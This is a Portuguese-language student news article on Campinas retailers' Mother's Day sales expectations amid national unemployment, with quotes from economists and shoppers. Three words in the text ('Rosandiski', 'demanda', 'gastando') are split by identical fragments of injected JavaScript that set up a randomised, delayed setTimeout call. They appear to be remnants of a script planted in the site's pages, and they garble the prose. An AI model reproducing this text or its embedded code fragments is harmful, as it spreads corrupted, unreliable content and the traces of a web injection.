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Mesmo com o alto índice de desemprego, comércio de Campinas tem boa expectativa de vendas
Por Alicia Frias
O Dia das Mães está próximo e mesmo com 13,1 milhões de pessoas desempregadas, de acordo com os últimos dados o IBGE, a expectativa de venda do comércio é positiva. Sendo a segunda data comemorativa que mais gera aumento nas vendas, devido ao apelo emocional que o dia traz, a Associação Comercial e Industrial de Campinas (ACIC) espera que o município tenha 3.473 pessoas empregadas temporariamente e um faturamento de aproximadamente R$ 451 milhões.

O economista Laerte Martins diz que o campineiro está disposto a gastar, em média, R$ 240 no presente de Dia das Mães. (Foto: Alicia Frias)
Quanto à estagnação econômica, Laerte Martins faz referência ao impasse em torno da Reforma da Previdência. “Apesar do viés negativo dos indicadores econômicos atuais, frente à Reforma da Previdência, o ‘Dia das Mães’ proporciona sempre uma movimentação positiva para o comércio”, diz Martins. Para ele, o faturamento será quase 3% a mais que 2018.
Sobre a importância das datas comemorativas para o comércio, a economista Eliane Rosandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiski, que é também responsável pelo Observatório da PUC-Campinas, diz que o comércio no Dia das Mães é a segunda data comemorativa que mais proporciona lucro para os lojistas. A primeira é o Natal. “A ideia é criar datas com momentos importantes para que o comércio possa aumentar a sua demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda”, diz a economista.
Com relação à expectativa das vendas para o Dia das Mães deste ano, Eliane faz uma ponderação. “A atividade econômica não está em um bom ritmo. Se há 13 milhões de pessoas desempregadas, serão 13 milhões de pessoas com baixa capacidade de consumo”, diz ela.
Na loja de roupas localizada na Av. Campos Salles, centro de Campinas, o gerente Rodrigo de Souza, 39 anos, acredita que o movimento vai crescer esta semana. Para ele, a loja “não tem crise como o resto do comércio”, explica.

Ana Paula de Almeida, 40 anos, monitora e cliente da loja, conta que a crise a fará gastar até R$ 60,00 no presente de Dia das Mães. (Foto: Alicia Frias)
Vendedora de cosméticos importados no shopping Parque D. Pedro, Ive Pascoalin, 22 anos, conta que, apesar dos preços dos produtos de beleza, o Dia das Mães do ano passado trouxe excelentes resultados para a loja, fazendo com que a equipe compare o fluxo de clientes e aumente a expectativa para este ano. “Se comparado ao ano passado, o movimento ainda não está bom. Esperamos que melhore ao longo da semana”, diz Ive.
A operadora de caixa Ana Paula de Oliveira, de 36 anos, falou que pretende gastar até R$ 100,00. Como ficou desempregada por três anos e com receio diante da economia atual, “hoje não dá para ficar gastandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando muito”, afirma.
Edição: Bruna Carnielli
Orientação: Prof. Gilberto Roldão
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